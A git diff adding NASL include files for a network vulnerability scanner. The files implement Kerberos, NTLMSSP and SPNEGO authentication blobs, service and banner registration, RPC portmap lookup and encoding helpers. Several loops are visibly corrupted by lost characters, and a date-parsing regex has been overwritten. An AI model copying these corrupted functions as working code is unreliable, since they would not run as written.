OPTIONAL, # +# reqFlags [1] ContextFlags OPTIONAL, # +# mechToken [2] OCTET STRING OPTIONAL, # +# mechListMIC [3] OCTET STRING OPTIONAL # +# } # +# # +#---------------------------------------------------------# + +function der_encode_negtokeninit (mechtypes, reqflags, mechtoken, mechlistmic) +{ + local_var seq, encoded, list, negtokeninit, spnego_oid; + + encoded = list = NULL; + + if (mechtypes) + list[0] = mechtypes; + + if (reqflags) + list[1] = reqflags; + + if (mechtoken) + list[2] = mechtoken; + + if (mechlistmic) + list[3] = mechlistmic; + + seq = der_encode_sequence (seq:list); + + # NegTokenInit Tag = 0xA0 + negtokeninit = der_encode (tag:0xA0, data:seq); + + # SPNEGO OID + spnego_oid = der_encode_oid (oid:"1.3.6.1.5.5.2"); + + # Application Constructed Object Tag = 0x60 + return der_encode (tag:0x60, data: spnego_oid + negtokeninit); +} + + +#---------------------------------------------------------# +# Function : der_parse_spnego_init # +# Description : Return der decoded SPNEGO BLOB # +#---------------------------------------------------------# + +function der_parse_spnego_init (sdata) +{ + local_var tmp, data, oid, list, seq, mechtypes, mechseq, mechlistmic; + local_var negtokeninit; + + data = der_parse_data (tag:0x60, data:sdata); + if (isnull(data)) + return NULL; + + list = der_parse_list (list:data); + if (isnull(list) || (list[0] != 2)) + return NULL; + + oid = der_parse_oid (oid:list[1]); + if (!oid || (oid != "1.3.6.1.5.5.2")) + return NULL; + + negtokeninit = NULL; + negtokeninit[0] = negtokeninit[1] = negtokeninit[2] = negtokeninit[4] = NULL; + + # negTokenInit + data = der_parse_data (tag:0xA0, data:list[2]); + if (data) + { + seq = der_parse_sequence (seq:data, num:4, list:FALSE); + if (isnull(seq)) + return NULL; + + #mechType + if (seq[0] != NULL) + { + mechtypes = der_parse_list_oid (list:seq[0]); + if (!mechtypes) + return NULL; + + negtokeninit[0] = mechtypes; + } + + #mechListMIC + if (seq[3] != NULL) + { + mechseq = der_parse_sequence (seq:seq[3], num:1, list:FALSE); + if (isnull (mechseq)) + return NULL; + + tmp = der_decode (data:mechseq[0]); + if (isnull(tmp) || (tmp[0] != 0x1B)) + return NULL; + + mechlistmic = tmp[1]; + + negtokeninit[3] = mechlistmic; + } + } + else + return NULL; + + return negtokeninit; +} + + +#---------------------------------------------------------# +# Function : der_parse_spnego_resp # +# Description : Return der decoded SPNEGO BLOB # +#---------------------------------------------------------# + +function der_parse_spnego_resp (sdata) +{ + local_var data, seq, negresult, supportedmech, responsetoken; + local_var negtokentarg; + + negtokentarg = NULL; + negtokentarg[0] = negtokentarg[1] = negtokentarg[2] = negtokentarg[3] = NULL; + + data = der_parse_data (tag:0xA1, data:sdata); + if (isnull(data)) + return NULL; + + seq = der_parse_sequence (seq:data, num:4, list:FALSE); + if (isnull(seq)) + return NULL; + + #negresult + if (seq[0] != NULL) + { + negresult = der_parse_data (tag:0x0A,data:seq[0]); + if (isnull (negresult)) + return NULL; + + negresult = ord(negresult[0]); + + negtokentarg[0] = negresult; + } + + if (seq[1] != NULL) + { + supportedmech = der_parse_oid (oid:seq[1]); + if (!supportedmech) + return NULL; + + negtokentarg[1] = supportedmech; + } + + if (seq[2] != NULL) + { + responsetoken = der_parse_data (tag:0x04, data:seq[2]); + if (!responsetoken) + return NULL; + + negtokentarg[2] = responsetoken; + } + + return negtokentarg; +} + + +function acquired_ticket () +{ + if (get_kb_item ("SMB/kerberos/tgs_ticket")) + return 1; + else + return 0; +} + + +function save_tgs_session (session) +{ + set_kb_item (name:"SMB/kerberos/tgs_session_0", value:hexstr(session[0])); + set_kb_item (name:"SMB/kerberos/tgs_session_1", value:hexstr(session[1])); + set_kb_item (name:"SMB/kerberos/tgs_session_2", value:hexstr(session[2])); + set_kb_item (name:"SMB/kerberos/tgs_session_3", value:hexstr(session[3])); + set_kb_item (name:"SMB/kerberos/tgs_session_4", value:session[4]); + set_kb_item (name:"SMB/kerberos/tgs_ticket", value:1); +} + +function _hex2raw(s) +{ + local_var i, j, ret, l; + + s = chomp(s); # remove trailing blanks, CR, LF... + l = strlen(s); + for(i=0;i= ord("0") && ord(s[i]) <= ord("9")) + j = int(s[i]); + else + j = int((ord(s[i]) - ord("a")) + 10); + + j *= 16; + if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9")) + j += int(s[i+1]); + else + j += int((ord(s[i+1]) - ord("a")) + 10); + ret += raw_string(j); + } + return ret; +} + + +function load_tgs_session () +{ + local_var session; + + session[0] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_0")); + session[1] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_1")); + session[2] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_2")); + session[3] = _hex2raw(s:get_kb_item ("SMB/kerberos/tgs_session_3")); + session[4] = get_kb_item ("SMB/kerberos/tgs_session_4"); + + return session; +} + + +#---------------------------------------------------------# +# Function : kerberos_securityblob # +# Description : Return kerberos/GSSAPI/SPNEGO blob # +#---------------------------------------------------------# + +function kerberos_securityblob (login,password,realm,host) +{ + local_var ret, mechtypes, mechtoken, apreq, soc2, pass, req, resp, session, i; + + # We only support Microsoft Kerberos + # mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.2.840.48018.1.2.2") + der_encode_oid (oid:"1.2.840.113554.1.2.2")); + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.2.840.48018.1.2.2")); + + if (!acquired_ticket()) + { + soc2 = open_sock_kdc (); + if (isnull (soc2)) + return NULL; + + pass = NULL; + for (i = 0; i < strlen (password); i++) + pass += password[i] + raw_string(0x00); + + req = der_encode_asreq (principal:login, realm:realm, password:pass, enc_type:23); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + if (!resp) + { + close (soc2); + return NULL; + } + session = der_decode_asrep(password:pass, data:resp); + if (isnull(session)) + { + close (soc2); + return NULL; + } + + req = der_encode_tgsreq (session:session,name:host); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + close (soc2); + if (!resp) + return NULL; + + session = der_decode_tgsrep(session:session, data:resp); + if (isnull (session)) + return NULL; + + save_tgs_session(session:session); + } + else + { + session = load_tgs_session(); + } + + apreq = der_encode_apreq (session:session, type:11); + + mechtoken = der_encode_oid (oid:"1.2.840.113554.1.2.2") + + raw_word (w:1)+ + apreq; + mechtoken = der_encode (tag:0x60, data:mechtoken); + mechtoken = der_encode_octet_string (string:mechtoken); + + # MS KRB5 has no init flags and no mechListMIC + ret = NULL; + ret[0] = session[1]; + ret[1] = der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:NULL); + + return ret; +} + + + +#---------------------------------------------------------# +# Function : check_kerberos_response # +# Description : Return 1 if trusted/accepted # +#---------------------------------------------------------# + +function check_kerberos_response (data, key, realm, principal) +{ + local_var negtokentarg, negresult, supportedmech, responsetoken, init, msg, challenge, kerberosblob, name; + local_var list, oid, seq, kid, aprep, pvno, msg_type, enc_part, enc_type, encrypted, decrypted, enc_key, ret; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + if (negresult != 0) # Accept Complete + return NULL; + + supportedmech = negtokentarg[1]; + + if ("1.2.840.48018.1.2.2" >!< supportedmech) + return NULL; + + responsetoken = negtokentarg[2]; + if (!responsetoken) + return NULL; + + kerberosblob = der_parse_data (tag:0x60, data:responsetoken); + if (isnull (kerberosblob)) + return NULL; + + list = der_parse_list (list:kerberosblob); + if (isnull (list)) + return NULL; + + if (list[0] != 3) + return NULL; + + oid = der_parse_oid (oid:list[1]); + if (!oid || ("1.2.840.113554.1.2.2" >!< oid)) + return NULL; + + kid = list[2]; + if (ord(kid[0]) != 2) # AP-REP + return NULL; + + aprep = der_parse_data (tag:0x6F, data:list[3]); + if (isnull (aprep)) + return NULL; + + seq = der_parse_sequence (seq:aprep, num:4, list:FALSE); + if (isnull (seq)) + return NULL; + + pvno = der_parse_int (i:seq[0]); + if (isnull (pvno) || (pvno != 5)) + return NULL; + + msg_type = der_parse_int (i:seq[1]); + if (isnull (msg_type) || (msg_type != 15)) # AP-REP + return NULL; + + enc_part = der_parse_sequence (seq:seq[2], num:3, list:NULL); + if (isnull (enc_part)) + return NULL; + + enc_type = der_parse_int (i:enc_part[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + encrypted = der_parse_octet_string (string:enc_part[2]); + if (isnull (encrypted)) + return NULL; + + decrypted = kerberos_decrypt (key:key, type:raw_dword(d:12), data:encrypted, real_key:TRUE, enc_type:enc_type, realm:realm, principal:name); + if (isnull (decrypted)) + return NULL; + + # we need to extract the subkey if present for SMB Signing + enc_part = der_parse_data (tag:0x7b, data:decrypted); + if (isnull (enc_part)) + return NULL; + + seq = der_parse_sequence (seq:enc_part, num:4, list:NULL); + if (isnull (seq)) + return NULL; + + + ret = NULL; + ret [0] = 0; + + if (seq[2] != NULL) + { + seq = der_parse_sequence (seq:seq[2], num:2, list:NULL); + if (isnull (seq)) + return NULL; + + enc_type = der_parse_int (i:seq[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + enc_key = der_parse_octet_string (string:seq[1]); + if (isnull (enc_key)) + return NULL; + + ret[0] = 1; + ret[1] = enc_key; + } + + return ret; +} + + + + + +#---------------------------------------------------------# +# Function : ntlmssp_negotiate_securityblob # +# Description : Return NTLMSSP_NEGOCIATE blob # +#---------------------------------------------------------# + +function ntlmssp_negotiate_securityblob () +{ + local_var mechtypes, mechtoken, ntlmssp, offset; + + mechtypes = der_encode (tag:0x30, data:der_encode_oid (oid:"1.3.6.1.4.1.311.2.2.10")); + + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:1); # NTLMSSP_NEGOTIATE + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation domain NULL + ntlmssp += ntlmssp_data (data:NULL,offset:0); # workstation name NULL + + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + mechtoken = der_encode_octet_string (string:ntlmssp); + + return der_encode_negtokeninit (mechtypes:mechtypes, reqflags:NULL, mechtoken:mechtoken, mechlistmic:NULL); +} + + + +#---------------------------------------------------------# +# Function : ntlmssp_parse_challenge # +# Description : Return NTLM challenge # +#---------------------------------------------------------# + +function ntlmssp_parse_challenge (data) +{ + local_var negtokentarg, negresult, supportedmech, responsetoken, init, msg, challenge, d_len, offset, domain, ret; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + if (negresult != 1) # Accept Incomplete + return NULL; + + supportedmech = negtokentarg[1]; + + if ("1.3.6.1.4.1.311.2.2.10" >!< supportedmech) + return NULL; + + responsetoken = negtokentarg[2]; + if (!responsetoken) + return NULL; + + if (strlen(responsetoken) < 40) + return NULL; + + init = substr (responsetoken, 0, 7); + if ("NTLMSSP" >!< init) + return NULL; + + msg = substr (responsetoken, 8, 11); + if ("02000000" >!< hexstr(msg)) # NTLMSSP_CHALLENGE + return NULL; + + d_len = get_word (blob:responsetoken, pos:12); + offset = get_dword (blob:responsetoken, pos:16); + + domain = substr (responsetoken, offset, offset+d_len-1); + + challenge = substr (responsetoken, 24, 31); + + ret[0] = challenge; + ret[1] = domain; + + return ret; +} + + +#---------------------------------------------------------# +# Function : ntlmssp_parse_response # +# Description : Return NTLM Result # +#---------------------------------------------------------# + +function ntlmssp_parse_response (data) +{ + + local_var negtokentarg, negresult; + + negtokentarg = der_parse_spnego_resp (sdata:data); + if (isnull (negtokentarg)) + return NULL; + + negresult = negtokentarg[0]; + return negresult; +} + + + +#---------------------------------------------------------# +# Function : ntlmssp_data # +# Description : Return NTLMSSP data # +# word data_len # +# word data_len # +# dword offset_data # +#---------------------------------------------------------# + +function ntlmssp_data (data,offset) +{ + return raw_word (w:strlen(data)) + raw_word (w:strlen(data)) + raw_dword (d:offset); +} + + +#---------------------------------------------------------# +# Function : ntlmssp_auth_securityblob # +# Description : Return NTLMSSP_AUTH blob # +#---------------------------------------------------------# + +function ntlmssp_auth_securityblob (password,login,domain,challenge) +{ + local_var ntlmssp,nt,response,mechtoken,responsetoken; + local_var hostname,sessionkey,lm,offset,key,ret; + + sessionkey = lm = nt = NULL; + hostname = domain; + + # Systems with Extended Security Authentication support NTLMv2 so NTLMv1 is useless here (?) + + if (login) + { + response = LMv2_Response (password:password, login:login, domain:domain, challenge:challenge); + lm = response[0]; + key = response[1]; + } + else + { + lm = raw_string (0x00); + } + + #response = NTLM_Response (password:password, challenge:challenge); + #nt = response[0]; + + offset = 0x48; # First text; + + ntlmssp = "NTLMSSP" + raw_string (0x00); + ntlmssp += raw_dword (d:3); # NTLMSSP_AUTH + + # Lan Manager response = NULL + ntlmssp += ntlmssp_data (data:lm,offset:offset); + offset += strlen (lm); + + # NTLM Response + ntlmssp += ntlmssp_data (data:nt,offset:offset); + offset += strlen(nt); + + # Domain name = NULL + ntlmssp += ntlmssp_data (data:domain, offset:offset); + offset += strlen (domain); + + # User name + ntlmssp += ntlmssp_data (data:login, offset:offset); + offset += strlen (login); + + # Host name = NULL + ntlmssp += ntlmssp_data (data:hostname, offset:offset); + offset += strlen (hostname); + + # Session Key = NULL + ntlmssp += ntlmssp_data (data:sessionkey, offset:offset); + offset += strlen (sessionkey); + + ntlmssp += raw_dword (d:NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_REQUEST_TARGET | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_NTLM2); # Flags + # Version 1.0 + ntlmssp += raw_byte (b:1) + raw_byte (b:0); + # Version Number = 0 + ntlmssp += raw_word (w:0); + + # Unknown value + ntlmssp += raw_string (0x00,0x00,0x00,0x0F); + + ntlmssp += lm + nt + domain + login + hostname + sessionkey; + + ntlmssp = der_encode_octet_string (string:ntlmssp); + responsetoken = der_encode (tag:0xA2, data:ntlmssp); + responsetoken = der_encode_list (list:responsetoken); + + ret[0] = key; + ret[1] = der_encode (tag:0xA1, data:responsetoken); + return ret; +} + + +#---------------------------------------------------------# +# Function : kerberos_ssh # +# Description : Return kerberos blob # +#---------------------------------------------------------# + +function kerberos_ssh (login,password,realm,host,seqnum) +{ + local_var ret, soc2, resp, rep, req, cksum, checksum, apreq, innercontexttoken, initialcontexttoken, session; + + soc2 = open_sock_kdc (); + if (isnull (soc2)) + return NULL; + + req = der_encode_asreq (principal:login, realm:realm, password:password, enc_type:3); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + if (!resp) + { + close (soc2); + return NULL; + } + rep = der_decode_asrep(password:password, data:resp); + session = rep; + if (!resp) + { + close (soc2); + return NULL; + } + + req = der_encode_tgsreq (session:session,name:host); + send (socket:soc2, data:req); + + resp = recv (socket:soc2, length:4096); + close (soc2); + if (!resp) + return NULL; + + rep = der_decode_tgsrep(session:session, data:resp); + session = rep; + if (isnull (rep)) + return NULL; + + cksum = raw_dword (d:16) + # bnd length + crap (data:raw_string(0),length:16) + #bnd + raw_dword (d:32|2) + # flags + + checksum = NULL; + checksum[0] = der_encode_int32 (i:0x8003); + checksum[1] = der_encode (tag:0x04, data:cksum); + + apreq = der_encode_apreq(session:session, type:11, _checksum:der_encode_sequence (seq:checksum), _seqnum:seqnum); + + innercontexttoken = raw_string(0x01,0x00) + apreq; + initialcontexttoken = der_encode_oid(oid:"1.2.840.113554.1.2.2")+innercontexttoken; + + ret = NULL; + ret[0] = session[1]; + ret[1] = der_encode (tag:0x60, data:initialcontexttoken); + + return ret; +} + + +#---------------------------------------------------------# +# Function : gssapi_ssh_get_mic # +# Description : Return gssapi mic # +#---------------------------------------------------------# + +function gssapi_ssh_get_mic (data, key, seqnum) +{ + local_var hash, des_cksum, seq_num, crypted, mic; + + hash = MD5 ( raw_string(0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF) + + data ); + + des_cksum = des_cbc_checksum (key:key,data:hash,iv:raw_string(0,0,0,0,0,0,0,0)); + + seq_num = raw_dword (d:seqnum) + raw_dword (d:0); + + crypted = des_cbc_encrypt (data:seq_num, key:key, iv:des_cksum, encrypt:1); + + mic = der_encode (tag:0x60, data:der_encode_oid(oid:"1.2.840.113554.1.2.2") + raw_string (0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF) + crypted + des_cksum); + + return mic; +} + + + +#---------------------------------------------------------# +# Function : check_gssapi_token # +# Description : Return 1 if trusted/accepted # +#---------------------------------------------------------# + +function check_gssapi_token (data, key, realm, principal) +{ + local_var list, oid, seq, kid, aprep, pvno, msg_type, enc_part, enc_type, encrypted, decrypted, enc_key, kerberosblob, ret; + + + kerberosblob = der_parse_data (tag:0x60, data:data); + if (isnull (kerberosblob) || (strlen(kerberosblob)<14)) + return NULL; + + list = NULL; + list[1] = substr(kerberosblob,0,10); + list[2] = substr(kerberosblob,11,12); + list[3] = substr(kerberosblob,13,strlen(kerberosblob)-1); + + oid = der_parse_oid (oid:list[1]); + if (!oid || ("1.2.840.113554.1.2.2" >!< oid)) + return NULL; + + kid = list[2]; + if (ord(kid[0]) != 2) # AP-REP + return NULL; + + aprep = der_parse_data (tag:0x6F, data:list[3]); + if (isnull (aprep)) + return NULL; + + seq = der_parse_sequence (seq:aprep, num:4, list:FALSE); + if (isnull (seq)) + return NULL; + + pvno = der_parse_int (i:seq[0]); + if (isnull (pvno) || (pvno != 5)) + return NULL; + + msg_type = der_parse_int (i:seq[1]); + if (isnull (msg_type) || (msg_type != 15)) # AP-REP + return NULL; + + enc_part = der_parse_sequence (seq:seq[2], num:3, list:NULL); + if (isnull (enc_part)) + return NULL; + + enc_type = der_parse_int (i:enc_part[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + encrypted = der_parse_octet_string (string:enc_part[2]); + if (isnull (encrypted)) + return NULL; + + decrypted = kerberos_decrypt (key:key, type:raw_dword(d:12), data:encrypted, real_key:TRUE, enc_type:enc_type, realm:realm, principal:principal); + if (isnull (decrypted)) + return NULL; + + # we need to extract the subkey if present for SMB Signing + enc_part = der_parse_data (tag:0x7b, data:decrypted); + if (isnull (enc_part)) + return NULL; + + seq = der_parse_sequence (seq:enc_part, num:4, list:NULL); + if (isnull (seq)) + return NULL; + + + ret = NULL; + ret [0] = 0; + + if (seq[2] != NULL) + { + seq = der_parse_sequence (seq:seq[2], num:2, list:NULL); + if (isnull (seq)) + return NULL; + + enc_type = der_parse_int (i:seq[0]); + if (isnull (enc_type) || (supported_encryption_type(type:enc_type) == FALSE)) + return NULL; + + enc_key = der_parse_octet_string (string:seq[1]); + if (isnull (enc_key)) + return NULL; + + ret[0] = 1; + ret[1] = enc_key; + } + + return ret; +} + diff --git a/content/UnixVA/plugins/misc_func.inc b/content/UnixVA/plugins/misc_func.inc new file mode 100644 index 0000000..abd8c87 --- /dev/null +++ b/content/UnixVA/plugins/misc_func.inc @@ -0,0 +1,562 @@ +# -*- Fundamental -*- +# +# (C) 2002 Michel Arboi +# $Revision: 1.58 $ + +function replace_or_set_kb_item(name, value) +{ + if (defined_func("replace_kb_item")) + replace_kb_item(name: name, value: value); + else + set_kb_item(name: name, value: value); +} + +function register_service(port, proto, ipproto) +{ + local_var k; + if (! ipproto) ipproto = "tcp"; + if (! service_is_unknown(port:port, ipproto: ipproto)) + { + if (debug_level) display(get_host_ip(), ": service is already known on port ", ipproto, ":", port, "\n"); + #return(0); + } + + k = strcat("Known/", ipproto, "/", port); + replace_or_set_kb_item(name: k, value: proto); + if (ipproto == "tcp") k = strcat("Services/", proto); + else k = strcat("Services/", ipproto, "/", proto); + set_kb_item(name: k, value: port); + if (debug_level) display(get_host_ip(), ": register_service: port=", port, ", proto=", proto, "\n"); +} + +# This function may fork! +function known_service(port, ipproto) +{ + local_var k, p; + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_item(k); + #if (p) { display("Known service on port ", port, "\n"); } + #else { display("Unknown service on port ", port, "\n"); } + return p; +} + +# This function does not fork! +function service_is_unknown(port, ipproto) +{ + local_var k, p; + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_list(k); + if (isnull(p)) return TRUE; + foreach k (p) + if (k != "unknown") # fool proof + return FALSE; + return TRUE; +} + +function verify_service(port, ipproto, proto) +{ + local_var k, p; + # Remember: no KB yet in command line mode! + if (! ipproto) ipproto = "tcp"; + k = strcat("Known/", ipproto, "/", port); + p = get_kb_list(k); + foreach k (p) + if (k == proto) + return TRUE; + return FALSE; +} + +# This function may fork +function get_port_for_service(default, ipproto, proto) +{ + local_var k, p; + # Remember: no KB yet in command line mode! + if (! ipproto) ipproto = "tcp"; + if (ipproto == "tcp") k = strcat("Services/", proto); + else k = strcat("Services/", ipproto, "/", proto); + p = get_kb_item(k); + if (p) return p; + k = strcat("Known/", ipproto, "/", default); + p = get_kb_item(k); + if (p == proto) return default; + exit(0); +} + +function set_mysql_version(port, version) +{ + local_var sb; + sb = string("mysql/version/", port); + set_kb_item(name: sb, value: version); +} + +function get_mysql_version(port) +{ + local_var sb; + sb = string("mysql/version/", port); + return get_kb_item(sb); +} + +function get_unknown_banner(port, ipproto, dontfetch) +{ + local_var sb, sbH, banner, soc, req, tcp, p, bannerHex; + + if (! ipproto) ipproto = "tcp"; + tcp = ipproto == 'tcp'; + if (tcp) + { + sb = strcat("unknown/banner/", port); + sbH = strcat("unknown/bannerHex/", port); + } + else + { + sb = strcat("unknown/banner/", ipproto, "/", port); + sbH = strcat("unknown/bannerHex/", ipproto, "/", port); + } + banner = get_kb_item(sbH); + if (banner) return hex2raw(s: banner); + banner = get_kb_item(banner); + if (banner) return banner; + + banner = get_kb_item("BannerHex/"+port); + if (banner) return(hex2raw(s: banner)); + banner = get_kb_item("Banner/"+port); + if (banner) return(banner); + + banner = get_kb_item("Amap/"+ipproto+"/"+port+"/FullBanner"); + if (banner) return(banner); + + foreach p (make_list("spontaneous", "get_http", "help")) + { + banner = get_kb_item("FindService/"+ipproto+"/"+port+"/"+p); + bannerHex = get_kb_item("FindService/"+ipproto+"/"+port+"/"+p+"Hex"); + if (strlen(bannerHex) > 2 * strlen(banner)) + return hex2raw(s: banner); + else + return(banner); + } + if (dontfetch) return(NULL); + if (! get_port_state(port)) return (NULL); + if (! tcp) return (NULL); + + soc = open_sock_tcp(port); + if(!soc) return (NULL); + # I don't think that it makes sense to send an HTTP request + #req = http_head(item:"/", port:port); + #send(socket:soc, data:req); + banner = recv(socket:soc, length:2048); + close(soc); + if (banner) + { + replace_or_set_kb_item(name: sb, value: banner); + if ('\0' >< sb) + replace_or_set_kb_item(name: sbH, value: hexstr(banner)); + } + return(banner); +} + +function set_unknown_banner(port, banner, ipproto) +{ + local_var sb; + if (! ipproto || ipproto == 'tcp') + sb = string("unknown/banner/", port); + else + sb = strcat('unknown/banner/', ipproto, '/', port); + set_kb_item(name: sb, value: banner); + if ('\0' >< banner) + { + if (! ipproto || ipproto == 'tcp') + sb = string("unknown/bannerHex/", port); + else + sb = strcat('unknown/bannerHex/', ipproto, '/', port); + set_kb_item(name: sb, value: hexstr(banner)); + } +} + +# +# Get the banner for a given service +# You must also specify a default port, in case this is not in the kb +# +function get_service_banner_line(service, port, ipproto) +{ + local_var banner, soc, key, gport, tcp; + tcp = !ipproto || ipproto == 'tcp'; + if (tcp) + gport = get_kb_item(strcat("Services/", service)); + else + gport = get_kb_item(strcat("Services/", ipproto, "/", service)); + if(!gport) gport = port; + + if (tcp) + key = strcat(service, "/banner/", gport); + else + key = strcat(service, "/banner/", ipproto, "/", gport); + + banner = get_kb_item(key); + + if(!banner) + { + if (! tcp) return; + + if(get_port_state(gport)) + { + soc = open_sock_tcp(gport); + if(soc) + { + banner = recv_line(socket:soc, length:2048); + close(soc); + } + } +# if (banner) set_kb_item(name: key, value: banner); + } + + return(banner); +} +# +# Fast replacement for getrpcport() which uses the libc +# +function get_rpc_port(program, protocol, portmap) +{ + local_var broken, req, soc, r, port; + local_var a, b, c, d, p_a, p_b, p_c, p_d, pt_a, pt_b, pt_c, pt_d; + + + + a = rand() % 255; + b = rand() % 255; + c = rand() % 255; + d = rand() % 255; + + p_a = program / 16777216; p_a = p_a % 256; + p_b = program / 65356; p_b = p_b % 256; + p_c = program / 256; p_c = p_c % 256; + p_d = program % 256; + + pt_a = protocol / 16777216; pt_a = pt_a % 256; + pt_b = protocol / 65535 ; pt_b = pt_b % 256; + pt_c = protocol / 256; ; pt_c = pt_c % 256; + pt_d = protocol % 256; + + + req = raw_string(a, b, c, d, # XID + 0x00, 0x00, 0x00, 0x00, # Msg type: call + 0x00, 0x00, 0x00, 0x02, # RPC Version + 0x00, 0x01, 0x86, 0xA0, # Program + 0x00, 0x00, 0x00, 0x02, # Program version + 0x00, 0x00, 0x00, 0x03, # Procedure + 0x00, 0x00, 0x00, 0x00, # Credentials - flavor + 0x00, 0x00, 0x00, 0x00, # Credentials - length + 0x00, 0x00, 0x00, 0x00, # Verifier - Flavor + 0x00, 0x00, 0x00, 0x00, # Verifier - Length + + p_a, p_b, p_c, p_d, # Program + 0xFF, 0xFF, 0xFF, 0xFF, # Version (any) + pt_a, pt_b, pt_c, pt_d, # Proto (udp) + 0x00, 0x00, 0x00, 0x00 # Port + ); + + + if(isnull(portmap)){ + port = int(get_kb_item("rpc/portmap")); + if(port == 0)port = 111; + } + else port = portmap; + + + broken = get_kb_item(string("/tmp/rpc/noportmap/", port)); + if(broken)return(0); + + + soc = open_sock_udp(port); + send(socket:soc, data:req); + r = recv(socket:soc, length:1024); + + close(soc); + if(!r) + { + set_kb_item(name:string("/tmp/rpc/noportmap/", port), value:TRUE); + return(0); + } + + if(strlen(r) < 28) + return(0); + else + { + p_d = ord(r[27]); + p_c = ord(r[26]); + p_b = ord(r[25]); + p_a = ord(r[24]); + port = p_a; + port = port * 256; + port = port +p_b; + port = port * 256; + port = port + p_c; + port = port * 256; + port = port + p_d; + return(port); + } +} + +# +function rand_str(length, charset) +{ + local_var l, i, s, n; + + if (! charset) + charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"; + if (isnull(length)) + length = 8; + l = strlen(charset); + s = ""; + for (i = 0; i < length; i ++) + { + n = rand() % l; + s += charset[n]; + } + return s; +} + + + +function add_port_in_list(list, port) +{ + local_var l; + + + if(!get_port_state(port)) + { + if(isnull(list))return make_list(); + else return list; + } + + if(isnull(list))return make_list(port); + + foreach l (list) + { + if(l == port) + return list; + } + + return make_list(list, port); +} + +# hex2raw was written by Renaud? + +function hex2raw(s) +{ + local_var i, j, ret, l; + + s = chomp(s); # remove trailing blanks, CR, LF... + l = strlen(s); + if (l % 2) display("hex2raw: odd string: ", s, "\n"); + for(i=0;i= ord("0") && ord(s[i]) <= ord("9")) + j = int(s[i]); + else + j = int((ord(s[i]) - ord("a")) + 10); + + j *= 16; + if(ord(s[i+1]) >= ord("0") && ord(s[i+1]) <= ord("9")) + j += int(s[i+1]); + else + j += int((ord(s[i+1]) - ord("a")) + 10); + ret += raw_string(j); + } + return ret; +} + +function report_service(port, svc, banner) +{ + local_var k, name, a; + + svc = tolower(svc); + if (! isnull(banner)) + { + k = strcat(svc, "/banner/", port); + set_kb_item(name: k, value: banner); + } + register_service(port: port, proto: svc); + if (svc == 'www') name = 'web server'; + else if (svc == 'proxy') name = 'web proxy'; + else if (svc == 'hylafax-ftp' || svc == 'hylafax') name = 'HylaFax server'; + else if (svc == 'agobot.fo') name = 'Agobot.fo backdoor'; + else if (svc == 'unknown_irc_bot') name = 'IRC bot'; + else if (svc == 'auth') name = 'identd'; + else name = toupper(svc) +' server'; + a = tolower(name[0]); + if (a == 'a' || a == 'e' || a == 'i' || a == 'o' || a == 'h') a = 'An '; + else a = 'A '; + security_note(port: port, data: a + name + ' is running on this port'); +} + + + + + +function base64_decode(str) +{ + local_var len, i, j, k, ret, base64, b64, a,b,c,o; + len = strlen(str); + ret = ""; + + base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + + for (i = 0; i < 256; i++) + b64[i] = 0; + for (i = 0; i < strlen(base64); i++) + b64[ord(base64[i])] = i; + + for(j=0;j> 4); + o[1] = (b[1] << 4) | (b[2] >> 2); + o[2] = (b[2] << 6) | b[3]; + if (a[2] == ord('=')) + i = 1; + else if (a[3] == ord('=')) + i = 2; + else + i = 3; + for(k=0;k 0) { + rem = num % 256; + hex = raw_string(rem, hex); + num = num / 256; + if (num > 0 && num < 255) { + hex = raw_string(num, hex); + num = 0; + } + } + if (!hex) hex = raw_string(0x00); + + return hex; +} + +# Convert a Date CVS field to Unix time +# Michel Arboi + +function cvsdate2unixtime(date) +{ + local_var v, u; + if (! defined_func("mktime")) return NULL; # We could write it in NASL... + v = eregmatch(string: date, pattern: "\$Date: 2005/10/13 18:10:42 $"); + if (isnull(v)) return; + u = mktime(year: v[1], mon: v[2], mday: v[3], hour: v[3], min: v[5], sec: v[6]); + return u; +} + diff --git a/content/UnixVA/plugins/nfs_func.inc b/content/UnixVA/plugins/nfs_func.inc new file mode 100644 index 0000000..f27fc4e --- /dev/null +++ b/content/UnixVA/plugins/nfs_func.inc @@ -0,0 +1,363 @@ +# -*- Fundamental -*- +# +# (C) Tenable Network Security +# +# +# NFS functions +# +# +# mount(soc, share) - 